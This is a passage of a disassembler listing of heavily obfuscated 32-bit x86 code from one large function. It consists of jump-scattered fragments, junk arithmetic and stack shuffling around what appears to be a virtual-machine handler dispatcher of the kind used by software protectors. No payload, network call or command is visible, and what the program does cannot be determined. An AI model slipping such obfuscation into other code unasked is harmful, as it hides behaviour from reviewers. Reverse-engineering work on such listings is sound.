		push	esi


loc_5A6ECA:				; CODE XREF: sub_58A891+24DEFj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A9C3F
; ---------------------------------------------------------------------------


loc_5A6ED8:				; CODE XREF: sub_58A891+1CEE6j
		mov	ax, word ptr [esp+56h+var_58+2]
		push	ebp
		push	esp
		pop	ebp
		push	eax
		jmp	loc_5B1713
; ---------------------------------------------------------------------------


loc_5A6EE5:				; CODE XREF: sub_58A891+165BEj
		jz	loc_5B1AF5
		sub	ecx, 0CD4BA5BCh
		mov	ebx, ecx
		pop	ecx
		mov	edi, ebx
		mov	ebx, [esp+2Eh+var_30+2]
		jmp	loc_5AAE4F
; ---------------------------------------------------------------------------


loc_5A6EFE:				; CODE XREF: sub_58A891+120DFj
		not	edi
		inc	edi
		shl	edi, 4
		add	edi, 3587E022h
		xor	ebx, edi
		jmp	loc_59D70D
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5B044C
		sub	esp, 4
		mov	[esp+86h+var_86], edi
		sub	esp, 4
		mov	[esp+8Ah+var_8A], ecx
		push	16AF0EEFh
		jmp	loc_5A4662
; ---------------------------------------------------------------------------


loc_5A6F38:				; CODE XREF: sub_58A891+11CD3j
		or	ebx, esi
		pop	esi
		jmp	loc_5A9F31
; ---------------------------------------------------------------------------


loc_5A6F40:				; CODE XREF: sub_58A891+1E5BBj
		mov	ecx, 94E8A062h
		jmp	loc_5B1748
; ---------------------------------------------------------------------------


loc_5A6F4A:				; CODE XREF: sub_58A891+11B76j
		shl	[esp-1Eh+arg_18+2], cl
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A6F52:				; CODE XREF: sub_58A891:loc_5A103Fj
					; sub_58A891:loc_5AC577j
		xor	edi, 220D7F5Eh
		mov	ebx, edi
		pop	edi
		jmp	loc_5A012D
; ---------------------------------------------------------------------------


loc_5A6F60:				; CODE XREF: sub_58A891+1BF9Dj
					; sub_58A891+25DEEj
		sub	esi, 3014F92h
		sub	esi, 472531B3h
		jge	loc_59CFDE
		xor	esi, 30C2D461h
		mov	ecx, esi
		pop	esi
		add	ecx, 5C2213BDh
		push	esi
		push	esp
		mov	esi, [esp+8Ah+var_8A]
		add	esp, 4
		jmp	loc_59C111
; ---------------------------------------------------------------------------


loc_5A6F8E:				; CODE XREF: sub_58A891+23DFFj
		push	[esp+86h+var_86]
		jmp	loc_5A905A
; ---------------------------------------------------------------------------


loc_5A6F96:				; CODE XREF: sub_58A891+1DE4Ej
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+8Ah+var_8A]
		jmp	loc_5A4DB7
; ---------------------------------------------------------------------------


loc_5A6FB4:				; CODE XREF: sub_58A891+2807Bj
		neg	eax
		jb	loc_5AF15F
		jmp	loc_5A8823
; ---------------------------------------------------------------------------
		pop	edx
		push	esi
		not	[esp+8Ah+var_8A]
		pop	esi
		sub	al, 19h
		sub	al, 51h


loc_5A6FCB:				; CODE XREF: sub_58A891+19E97j
		push	1
		jmp	loc_5AE1B1
; ---------------------------------------------------------------------------


loc_5A6FD5:				; CODE XREF: sub_58A891+170ABj
		neg	edi
		jmp	loc_5A9125
; ---------------------------------------------------------------------------


loc_5A6FDC:				; CODE XREF: sub_58A891+15326j
		sub	edx, 726F1325h
		sub	edx, ebx
		add	edx, 726F1325h
		pop	ebx


loc_5A6FEB:				; CODE XREF: sub_58A891+15A43j
					; sub_58A891+26F55j
		push	dword ptr [edi+24h]
		push	[esp+7Eh+var_7E]
		mov	ecx, [esp+82h+var_82]
		jmp	loc_5ACD18
; ---------------------------------------------------------------------------


loc_5A6FF9:				; CODE XREF: sub_58A891+21BE6j
		add	esp, 4
		sub	ebx, 5C71728Ch
		sub	ebx, edx
		push	edx
		mov	edx, 5C71728Ch
		jmp	loc_5B2718
; ---------------------------------------------------------------------------


loc_5A7012:				; CODE XREF: sub_58A891+15E4Cj
		pop	ebx
		sub	ecx, 37B66336h
		jmp	loc_5A6C0A
; ---------------------------------------------------------------------------


loc_5A701E:				; CODE XREF: sub_58A891+11F8Ej
		lodsd
		push	edi
		push	ebp
		mov	ebp, 5AB02863h
		xor	ebp, 22FF115Ch
		jmp	loc_5A2910
; ---------------------------------------------------------------------------


loc_5A7031:				; CODE XREF: sub_58A891+1A019j
					; sub_58A891+24F36j
		or	edi, 29853CB0h
		jmp	loc_5AEA61
; ---------------------------------------------------------------------------


loc_5A703C:				; CODE XREF: sub_58A891+21A6Aj
		mov	ebx, 697D64BAh
		add	eax, ebx
		pop	ebx
		sub	eax, edx
		sub	eax, 697D64BAh
		jmp	loc_5A4640
; ---------------------------------------------------------------------------


loc_5A7050:				; CODE XREF: sub_58A891+148B5j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0CAh+var_CC+2]
		pop	esp
		mov	[esp+0C6h+var_C8+2], ecx
		jmp	loc_5AC4FD
; ---------------------------------------------------------------------------


loc_5A7068:				; CODE XREF: sub_58A891+1BD36j
		sub	esi, 144D61A0h
		xor	esi, 5059E792h
		push	ecx
		mov	ecx, 69E832D2h
		push	esi
		mov	esi, 2482055h
		xor	ecx, esi
		pop	esi
		neg	ecx
		jmp	loc_5AB74A
; ---------------------------------------------------------------------------


loc_5A708A:				; CODE XREF: sub_58A891+1F2BFj
					; sub_58A891+217B3j
		sub	eax, 4
		xchg	eax, [esp+0CEh+var_D0+2]
		pop	esp
		mov	[esp+0CAh+var_CC+2], ebx
		push	[esp+0CAh+var_CC+2]
		mov	eax, [esp+0CEh+var_D0+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0D2h+var_D4+2]
		pop	esp
		jmp	loc_59E177
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0CEh+var_D0+2]
		jmp	loc_5A2171
; ---------------------------------------------------------------------------


loc_5A70BB:				; CODE XREF: sub_58A891+11D45j
		pop	esi
		add	esi, 4
		push	ebp
		jmp	loc_59F8DB
; ---------------------------------------------------------------------------


loc_5A70C8:				; CODE XREF: sub_58A891+140D1j
		push	5DA7h
		mov	[esp+0Eh+var_10+2], esp
		jmp	loc_5AEBDF
; ---------------------------------------------------------------------------


loc_5A70D5:				; CODE XREF: sub_58A891+1D031j
		mov	[esp+0Eh+var_10+2], edi
		mov	edi, 2A22426Fh
		inc	edi
		jmp	loc_5AE3F9
; ---------------------------------------------------------------------------


loc_5A70E3:				; CODE XREF: sub_58A891+24FE1j
		mov	ebp, ebx
		jmp	loc_5A7DF5
; ---------------------------------------------------------------------------


loc_5A70EA:				; CODE XREF: sub_58A891+12F36j
		jnp	loc_5A3E35
		push	ebx
		mov	bh, 0FCh
		xchg	ah, bh
		jmp	loc_5ABEC1
; ---------------------------------------------------------------------------


loc_5A70FA:				; CODE XREF: sub_58A891+24963j
		jnz	loc_5ADA8F
		sub	esi, 5691C1EFh
		jmp	loc_5AF5AE
; ---------------------------------------------------------------------------
		mov	eax, ebx
		mov	dh, dl


loc_5A710F:				; CODE XREF: sub_58A891+1A474j
		pop	ebx
		jmp	loc_5A35F1
; ---------------------------------------------------------------------------


loc_5A7115:				; CODE XREF: sub_58A891+21345j
		push	eax
		jmp	loc_5A4348
; ---------------------------------------------------------------------------


loc_5A711B:				; CODE XREF: sub_58A891+1ECF8j
		pop	eax
		pop	[esp+8Eh+var_8E]
		pop	esp
		jmp	loc_59CC7E
; ---------------------------------------------------------------------------


loc_5A7125:				; CODE XREF: sub_58A891+13259j
		or	ebx, edi
		pop	edi
		add	ebx, 0D3C6A5DFh
		jmp	loc_5A2E33
; ---------------------------------------------------------------------------


loc_5A7133:				; CODE XREF: sub_58A891+1AF87j
		push	[esp+92h+var_92]
		jmp	loc_5AF700
; ---------------------------------------------------------------------------


loc_5A713B:				; CODE XREF: sub_58A891+26CF7j
		push	edi
		not	[esp+9Ah+var_9A]
		pop	edi
		not	edi
		shl	edi, 3
		jmp	loc_5A71A1
; ---------------------------------------------------------------------------


loc_5A714A:				; CODE XREF: sub_58A891:loc_5AE56Fj
		sub	ch, 43h
		sub	ch, 0FFh
		push	edx
		mov	dh, 0C0h
		jmp	loc_5AF75B
; ---------------------------------------------------------------------------


loc_5A7158:				; CODE XREF: sub_58A891+1E603j
		or	bl, 0B2h
		jmp	loc_5B08D3
; ---------------------------------------------------------------------------


loc_5A7160:				; CODE XREF: sub_58A891+19798j
		jmp	loc_5A979D
; ---------------------------------------------------------------------------


loc_5A7165:				; CODE XREF: sub_58A891+179DDj
		push	7BC6h
		mov	[esp+36h+var_38+2], edi
		jmp	loc_59DA0F
; ---------------------------------------------------------------------------


loc_5A7172:				; CODE XREF: sub_58A891+1AF75j
					; sub_58A891+1DACAj
		push	ebp
		push	4AEE280Dh
		mov	ebp, [esp+66h+var_68+2]
		add	esp, 4
		or	ebp, 79334445h
		push	0
		sub	[esp+66h+var_68+2], ebp
		pop	ebp
		shr	ebp, 4
		xor	ebp, 67951ACDh
		mov	edx, ebp
		mov	ebp, [esp+62h+var_64+2]
		push	ecx
		jmp	loc_59FA0B
; ---------------------------------------------------------------------------


loc_5A71A1:				; CODE XREF: sub_58A891+1C8B4j
		dec	edi
		xor	edi, 2FF7C593h
		add	edx, edi
		mov	edi, [esp+96h+var_96]
		add	esp, 4
		add	edx, ebx
		sub	edx, 23B5FE4h
		pop	ebx
		sub	esp, 4
		mov	[esp+92h+var_92], eax
		mov	eax, 2
		sub	edx, 5DAE1C52h
		sub	edx, 5F11790Eh
		add	edx, eax
		jmp	loc_5A1604
; ---------------------------------------------------------------------------


loc_5A71DA:				; CODE XREF: sub_58A891+13965j
		push	[esp+1Eh+var_20+2]
		pop	ebx
		jmp	loc_59C9FA
; ---------------------------------------------------------------------------


loc_5A71E3:				; CODE XREF: sub_58A891+21374j
		mov	esi, edx
		push	esi
		mov	edi, [esp+22h+var_24+2]
		add	esp, 4
		push	[esp+1Eh+var_20+2]
		jmp	loc_5A764B
; ---------------------------------------------------------------------------


loc_5A71F4:				; CODE XREF: sub_58A891+226C3j
		pop	ebp
		add	esp, 4
		jmp	loc_59E855
; ---------------------------------------------------------------------------


loc_5A7200:				; CODE XREF: sub_58A891+18BD7j
		mov	edx, 3AC54D79h
		neg	edx
		dec	edx
		xor	edx, 26CE11FBh
		shr	edx, 2
		sub	edx, 3AE88CD6h
		sub	eax, edx
		pop	edx
		push	eax
		pop	edi
		mov	eax, [esp+1Ah+var_1C+2]
		jmp	loc_5A7C5B
; ---------------------------------------------------------------------------


loc_5A7224:				; CODE XREF: sub_58A891+1733Aj
		mov	ebp, 784F1AB9h
		jmp	loc_5A2358
; ---------------------------------------------------------------------------


loc_5A722E:				; CODE XREF: sub_58A891+211EBj
		add	eax, 0F0BD19FAh
		xor	ebp, eax
		jmp	loc_59E4EC
; ---------------------------------------------------------------------------


loc_5A723A:				; CODE XREF: sub_58A891+158AEj
		sub	esp, 4
		mov	[esp+78h+var_7A+2], ebx
		mov	ebx, 2B9151E1h
		add	ebx, 0E60703CDh
		sub	ebp, ebx
		pop	ebx
		pop	edi
		jmp	loc_5ABF04
; ---------------------------------------------------------------------------


loc_5A7254:				; CODE XREF: sub_58A891+213E1j
		pop	ebx
		xor	eax, ebx
		jmp	loc_5B16EF
; ---------------------------------------------------------------------------


loc_5A725C:				; CODE XREF: sub_58A891+2267Bj
		push	edx
		mov	edx, 43096E20h
		xor	edx, 51227D69h
		inc	edx
		and	edx, 67AF39A5h
		dec	edx
		xor	edx, 0BFAFC266h
		jmp	loc_5AC55E
; ---------------------------------------------------------------------------


loc_5A727B:				; CODE XREF: sub_58A891+22501j
		add	ebp, ebx
		pop	ebx
		jmp	loc_5A590E
; ---------------------------------------------------------------------------


loc_5A7283:				; CODE XREF: sub_58A891+22586j
		push	542D70D6h
		mov	ebp, [esp+70h+var_70]
		add	esp, 4
		shr	ebp, 6
		add	ebp, 98B34CFh
		jl	loc_5AA928
		jmp	loc_5A2CBF
; ---------------------------------------------------------------------------


loc_5A72A2:				; CODE XREF: sub_58A891+24F87j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A72A7:				; CODE XREF: sub_58A891+252FAj
		mov	ebx, esp
		jmp	loc_5A8846
; ---------------------------------------------------------------------------


loc_5A72AE:				; CODE XREF: sub_58A891+23DF7j
		push	[esp+6Ch+var_68]
		jmp	loc_5A1DC5
; ---------------------------------------------------------------------------


loc_5A72B7:				; CODE XREF: sub_58A891+26149j
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_5A8823
; ---------------------------------------------------------------------------


loc_5A72C8:				; CODE XREF: sub_58A891+1C5BBj
		or	edi, 45BC54EBh
		xor	edi, 77FF7CFBh
		mov	eax, edi
		mov	edi, [esp+36h+var_38+2]
		add	esp, 4
		sub	edx, 382E4908h
		add	edx, eax
		add	edx, 382E4908h
		mov	eax, [esp+32h+var_34+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59FB40
; ---------------------------------------------------------------------------


loc_5A72FE:				; CODE XREF: sub_58A891+15F07j
		inc	esi
		jl	loc_5A5EDA
		shl	esi, 1
		inc	esi
		jle	loc_5AEC4C
		add	esi, 1
		sub	esp, 4
		mov	ah, al


loc_5A7319:				; CODE XREF: sub_58A891+22178j
		sub	ebp, 0BB18BA5Fh
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		xchg	esi, [esp+4Ah+var_4A]
		jmp	loc_5A7ED1
; ---------------------------------------------------------------------------


loc_5A7330:				; CODE XREF: sub_58A891+1D52Ej
		push	[esp+4Ah+var_4A]
		pop	edi
		push	edx
		push	0Ah
		jmp	loc_59E8FF
; ---------------------------------------------------------------------------


loc_5A733F:				; CODE XREF: sub_58A891+2352Ej
		or	esi, edi
		pop	edi
		and	esi, 24C62EA2h
		add	esi, 2C75B8Fh
		neg	esi
		push	ebp
		jmp	loc_5A824A
; ---------------------------------------------------------------------------


loc_5A7356:				; CODE XREF: sub_58A891+19A9Aj
		add	edx, edi
		pop	edi
		add	edx, 66902C23h
		pop	edi
		jmp	loc_5A3553
; ---------------------------------------------------------------------------


loc_5A7365:				; CODE XREF: sub_58A891+14B19j
		sub	dl, 0DCh
		jmp	loc_5A3496
; ---------------------------------------------------------------------------


loc_5A736D:				; CODE XREF: sub_58A891+2811Bj
		not	byte ptr [esp+1]
		jmp	loc_59D5F9
; ---------------------------------------------------------------------------


loc_5A7376:				; CODE XREF: sub_58A891+2001Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp+54h+var_54], ecx
		mov	ecx, 1D012558h
		shl	ecx, 8
		jnz	loc_59C237
		neg	ecx
		jnb	loc_5AFB80
		mov	ch, bh


loc_5A73A8:				; CODE XREF: sub_58A891+1AA78j
		mov	[esp+54h+var_54], ecx
		mov	ch, 7Ch
		mov	bh, ch
		mov	ecx, [esp+54h+var_54]
		jmp	loc_5ADEF6
; ---------------------------------------------------------------------------


loc_5A73B7:				; CODE XREF: sub_58A891+19A73j
		add	esp, 4
		add	ecx, 4
		push	edi
		mov	edi, 1B81650Eh
		neg	edi
		sub	edi, 0E47E9AEEh
		add	ecx, edi
		pop	edi
		push	ecx
		push	[esp-12h+arg_E]
		pop	ecx
		pop	[esp-12h+arg_8+2]
		pop	esp
		xor	[esp+0], eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A73E6:				; CODE XREF: sub_58A891+18B4Dj
		push	0
		sub	[esp+80h+var_82+2], edx
		pop	edx
		jmp	loc_5AC171
; ---------------------------------------------------------------------------


loc_5A73F4:				; CODE XREF: sub_58A891+184AEj
		add	esp, 4
		push	7373h
		mov	[esp+4Ch+var_4E+2], eax
		jmp	loc_59F871
; ---------------------------------------------------------------------------


loc_5A7404:				; CODE XREF: sub_58A891+15453j
		mov	[esp+0], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+2+var_4+2], ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		push	dword ptr [esp+0]
		pop	eax
		push	7908h
		mov	[esp+2+var_4+2], edi
		mov	edi, esp
		jmp	loc_5AFEDE
; ---------------------------------------------------------------------------


loc_5A743F:				; CODE XREF: sub_58A891+17315j
		mov	[esp+0Eh+var_10+2], esi
		push	[esp+0Eh+var_C+2]
		mov	esi, [esp+12h+var_14+2]
		add	esp, 4
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+10h+var_10]
		jmp	loc_5A238B
; ---------------------------------------------------------------------------


loc_5A746A:				; CODE XREF: sub_58A891+1539Ej
		push	[esp+6+var_8+2]
		pop	edi
		jmp	loc_5A1D0E
; ---------------------------------------------------------------------------


loc_5A7473:				; CODE XREF: sub_58A891+262CDj
		push	edi
		pop	ebp
		mov	ebx, ebp
		pop	ebp
		pop	edi
		jmp	loc_5A1B53
; ---------------------------------------------------------------------------


loc_5A747E:				; CODE XREF: sub_58A891+13FF8j
		add	ebx, 3E1B2423h
		sub	ebx, ebp
		jmp	loc_5ADA25
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+8Eh+var_8E]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A19F5
; ---------------------------------------------------------------------------


loc_5A749D:				; CODE XREF: sub_58A891+19487j
		sub	esi, 2EAC7C48h
		jns	loc_5A17BE
		add	esi, 707A370Eh
		jz	loc_5A0775
		jmp	loc_5A6BF1
; ---------------------------------------------------------------------------


loc_5A74BA:				; CODE XREF: sub_58A891+1AFA3j
		push	2
		pop	ebp
		push	ebp
		mov	ebp, 6C4D0F94h
		inc	ebp
		shr	ebp, 6
		push	esi
		mov	esi, 1C273B6Fh
		xor	ebp, esi
		mov	esi, [esp+8Ch+var_8E+2]
		add	esp, 4
		add	ecx, 4CAB2286h
		add	ecx, 3F17A3Fh
		sub	ecx, ebp
		jmp	loc_5A8ECB
; ---------------------------------------------------------------------------


loc_5A74EB:				; CODE XREF: sub_58A891+1CD7Cj
					; sub_58A891+23B6Ej
		sub	esi, ebx
		sub	esi, 1C7541h
		jmp	loc_5A2F93
; ---------------------------------------------------------------------------


loc_5A74F8:				; CODE XREF: sub_58A891+1C040j
		mov	[esp+22h+var_24+2], ebx
		push	eax
		jmp	loc_5A86EA
; ---------------------------------------------------------------------------


loc_5A7501:				; CODE XREF: sub_58A891+1D3F9j
		push	0C8Fh
		mov	[esp+2Ah+var_2C+2], eax
		push	esp
		mov	eax, [esp+2Eh+var_30+2]
		sub	esp, 4
		jmp	loc_5AD6CB
; ---------------------------------------------------------------------------


loc_5A7518:				; CODE XREF: sub_58A891+13DABj
		sub	esp, 4
		mov	[esp+8Eh+var_8E], ebp
		push	esp
		jmp	loc_5A15E9
; ---------------------------------------------------------------------------


loc_5A7524:				; CODE XREF: sub_58A891+1AF3Cj
		mov	ch, bh
		pop	ebx
		push	edx
		push	eax
		mov	ah, ch
		mov	dl, ah
		pop	eax
		mov	al, dl
		pop	edx
		mov	ecx, [esp-0Ah+arg_0+2]
		add	esp, 4
		jmp	loc_5B1A00
; ---------------------------------------------------------------------------


loc_5A753C:				; CODE XREF: sub_58A891+22319j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7541:				; CODE XREF: sub_58A891+2871Bj
		pop	ecx
		xchg	esi, [esp-12h+arg_8+2]
		pop	esp
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7553:				; CODE XREF: sub_58A891+1E292j
		xor	edx, 0BA064567h
		add	esi, edx
		pop	edx
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		jmp	loc_5B06A8
; ---------------------------------------------------------------------------


loc_5A7567:				; CODE XREF: sub_58A891+1E395j
		mov	eax, [esp+0]
		push	ebx
		sub	esp, 4
		mov	[esp-12h+arg_8+2], esp
		jmp	loc_5AA917
; ---------------------------------------------------------------------------


loc_5A7579:				; CODE XREF: sub_58A891+22C19j
		add	edx, 4
		xchg	edx, [esp-12h+arg_8+2]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		mov	edi, [esp+0]
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_59DC10
; ---------------------------------------------------------------------------


loc_5A7595:				; CODE XREF: sub_58A891+15502j
		shr	eax, 5
		jmp	loc_5A14D8
; ---------------------------------------------------------------------------


loc_5A759D:				; CODE XREF: sub_58A891+26FBEj
		shl	esi, 2
		jmp	loc_5A92B1
; ---------------------------------------------------------------------------


loc_5A75A5:				; CODE XREF: sub_58A891+1AF97j
		mov	[esp+0], edx
		jmp	loc_5B1C57
; ---------------------------------------------------------------------------


loc_5A75AD:				; CODE XREF: sub_58A891+18F92j
		push	ecx
		jmp	loc_5AB92B
; ---------------------------------------------------------------------------


loc_5A75B3:				; CODE XREF: sub_58A891+24D64j
		pop	eax
		jmp	loc_5AEEA4
; ---------------------------------------------------------------------------


loc_5A75B9:				; CODE XREF: sub_58A891+1E94Fj
		mov	ebx, 433754CCh
		xor	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 7BED5DC9h
		xor	ebp, 70C605C2h
		sub	ecx, ebp
		pop	ebp
		push	ebp
		push	0CCFE1602h
		jmp	loc_5AED4C
; ---------------------------------------------------------------------------


loc_5A75DB:				; CODE XREF: sub_58A891+21796j
		mov	[esp+26h+var_28+2], eax
		push	17B53832h
		mov	eax, [esp+2Ah+var_2C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+2Eh+var_30+2]
		pop	esp
		sub	eax, 17B5382Eh
		jmp	loc_5AFFD0
; ---------------------------------------------------------------------------


loc_5A7600:				; CODE XREF: sub_58A891+13F64j
		pop	ecx
		add	esi, 40380877h
		add	esi, 1C7541h
		jmp	loc_5A74EB
; ---------------------------------------------------------------------------


loc_5A7612:				; CODE XREF: sub_58A891+235B9j
		shr	edi, 2
		sub	edi, 3C766B29h
		jmp	loc_5B0B55
; ---------------------------------------------------------------------------


loc_5A7620:				; CODE XREF: sub_58A891+1ACC2j
		pop	eax
		add	ebx, esi
		jmp	loc_5AAA01
; ---------------------------------------------------------------------------


loc_5A7628:				; CODE XREF: sub_58A891+13639j
		push	ecx
		mov	ecx, 223218FAh
		xor	ecx, 117A20FFh
		dec	ecx
		jmp	loc_5B149A
; ---------------------------------------------------------------------------


loc_5A763A:				; CODE XREF: sub_58A891+1B16Ej
		add	bh, 0FFh
		xchg	bh, al
		jmp	loc_5A01DA
; ---------------------------------------------------------------------------


loc_5A7644:				; CODE XREF: sub_58A891+16113j
		dec	ch
		jmp	loc_5B03D8
; ---------------------------------------------------------------------------


loc_5A764B:				; CODE XREF: sub_58A891+1C95Ej
		pop	esi
		jmp	loc_5A37F4
; ---------------------------------------------------------------------------


loc_5A7651:				; CODE XREF: sub_58A891+1E0A4j
		mov	ecx, 166F5CB9h
		jmp	loc_5A4861
; ---------------------------------------------------------------------------


loc_5A765B:				; CODE XREF: sub_58A891+25632j
		mov	ebp, 76256F1Ch
		shr	ebp, 5
		neg	ebp
		shr	ebp, 5
		add	ebp, 759A0148h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A1BD0
; ---------------------------------------------------------------------------


loc_5A7682:				; CODE XREF: sub_58A891+22373j
		xchg	ebp, [esp+22h+var_24+2]
		pop	esp
		and	eax, ebx
		push	[esp+1Eh+var_20+2]
		pop	ebx
		push	532Ch
		mov	[esp+22h+var_24+2], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+26h+var_28+2], edi
		mov	edi, 11974D3Fh
		jmp	loc_59DDF3
; ---------------------------------------------------------------------------


loc_5A76A9:				; CODE XREF: sub_58A891+28003j
		jge	loc_59DF72
		add	ah, 5Fh
		push	ebx
		mov	bh, 0B6h
		shr	bh, 4
		neg	bh
		add	bh, 6Dh
		xor	bh, 7Bh
		xor	ah, bh
		pop	ebx
		or	bl, ah
		jmp	loc_5B1429
; ---------------------------------------------------------------------------


loc_5A76CA:				; CODE XREF: sub_58A891+11C51j
		push	275F337Fh
		mov	eax, [esp+1Ah+var_1C+2]
		jmp	loc_5A549B
; ---------------------------------------------------------------------------


loc_5A76D7:				; CODE XREF: sub_58A891+1BD4Cj
		add	eax, 4
		add	eax, 4
		jmp	loc_5A8172
; ---------------------------------------------------------------------------


loc_5A76E6:				; CODE XREF: sub_58A891+258F6j
		push	[esp+0CEh+var_D0+2]
		mov	esi, [esp+0D2h+var_D4+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0D6h+var_D8+2]
		pop	esp
		sub	esp, 4
		jmp	loc_5A9B22
; ---------------------------------------------------------------------------


loc_5A7707:				; CODE XREF: sub_58A891+15809j
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		push	small 0F57h
		mov	word ptr [esp-8+arg_0],	dx
		push	25F7h
		mov	[esp+0], ebp
		push	small 0C0Ch
		mov	bp, [esp+0]
		add	esp, 2
		shr	bp, 6
		jp	loc_5AB8EC
		push	bx
		mov	bx, 0
		jmp	loc_5B09FD
; ---------------------------------------------------------------------------
		push	ebx


loc_5A774D:				; CODE XREF: sub_58A891+1F088j
		add	esp, 4
		jmp	loc_5A7F43
; ---------------------------------------------------------------------------


loc_5A7758:				; CODE XREF: sub_58A891+19B3Cj
		and	ebx, 670C41EAh
		inc	ebx
		jmp	loc_59DAFB
; ---------------------------------------------------------------------------


loc_5A7764:				; CODE XREF: sub_58A891+25EBEj
		sub	esp, 4
		mov	[esp+0ACh+var_AE+2], ebx
		mov	ebx, 3915741Bh
		push	9CBh
		jmp	loc_5A6ED8
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_5A652B
; ---------------------------------------------------------------------------


loc_5A7784:				; CODE XREF: sub_58A891+22482j
		mov	esi, [esp+0B4h+var_B6+2]
		jmp	loc_5B0337
; ---------------------------------------------------------------------------


loc_5A778C:				; CODE XREF: sub_58A891+14AEEj
		mov	esp, [esp+4Ah+var_4A]
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_5AB36F
; ---------------------------------------------------------------------------


loc_5A779D:				; CODE XREF: sub_58A891+18051j
		neg	edx
		dec	edx
		xor	edx, 0E6F8D636h
		add	edi, edx
		pop	edx
		push	edx
		push	ebx
		jmp	loc_5A149F
; ---------------------------------------------------------------------------


loc_5A77B0:				; CODE XREF: sub_58A891+1D165j
		mov	ebx, [esp+32h+var_34+2]
		add	esp, 4
		push	44AFh
		jmp	loc_5B0AD3
; ---------------------------------------------------------------------------


loc_5A77C0:				; CODE XREF: sub_58A891+12B89j
		sub	esi, 0D317612Bh
		sub	ebx, 588F0387h
		add	ebx, esi
		add	ebx, 588F0387h
		jmp	loc_59E3DC
; ---------------------------------------------------------------------------


loc_5A77D9:				; CODE XREF: sub_58A891+1D672j
		xor	ecx, 0D0BA379h
		add	edx, ecx
		jmp	loc_5AB498
; ---------------------------------------------------------------------------


loc_5A77E6:				; CODE XREF: sub_58A891+21BC8j
		push	edx
		mov	edx, 7E93194Eh
		xor	edx, 1ACE3577h
		neg	edx
		neg	edx
		shl	edx, 6
		jmp	loc_5B04A5
; ---------------------------------------------------------------------------


loc_5A77FE:				; CODE XREF: sub_58A891+23557j
		sub	esp, 4
		mov	[esp+2+var_4+2], edx
		jmp	loc_5A36A4
; ---------------------------------------------------------------------------


loc_5A780C:				; CODE XREF: sub_58A891+13C56j
		mov	esi, 3BD943D1h
		or	esi, 0D046332h
		dec	esi
		jnz	loc_5A000C
		not	esi
		shl	esi, 7
		jp	loc_5A57D2
		pop	esp


loc_5A782A:				; CODE XREF: sub_58A891+26B51j
		push	ebx
		mov	ebx, 26231CEAh
		sub	eax, ebx
		mov	ebx, [esp+16h+var_18+2]
		add	esp, 4
		push	[esp+12h+var_14+2]
		pop	ecx
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		push	eax
		jmp	loc_59CE8A
; ---------------------------------------------------------------------------


loc_5A7851:				; CODE XREF: sub_58A891+13B4Cj
		pop	edx
		shl	ebx, 4
		push	edx
		push	7EECh
		jmp	loc_5A6D2C
; ---------------------------------------------------------------------------


loc_5A7860:				; CODE XREF: sub_58A891+1F665j
		jmp	loc_5A9412
; ---------------------------------------------------------------------------


loc_5A7865:				; CODE XREF: sub_58A891+12B35j
		dec	edx
		jmp	loc_5B1315
; ---------------------------------------------------------------------------


loc_5A786B:				; CODE XREF: sub_58A891+11F40j
					; sub_58A891+1C2A2j
		push	esi
		mov	esi, 2A602B60h
		add	[esp+6Ah+var_64+2], esi
		jmp	loc_5A8F70
; ---------------------------------------------------------------------------


loc_5A787A:				; CODE XREF: sub_58A891+18906j
		add	ebx, ecx
		sub	ebx, 3486201Bh
		pop	ecx
		xchg	ebx, [esp+80h+var_82+2]
		pop	esp
		mul	ecx
		push	2D2Dh
		jmp	loc_5A64AD
; ---------------------------------------------------------------------------


loc_5A7893:				; CODE XREF: sub_58A891+210E3j
		mov	ecx, esp
		push	edx
		mov	edx, esp
		jmp	loc_59EB21
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


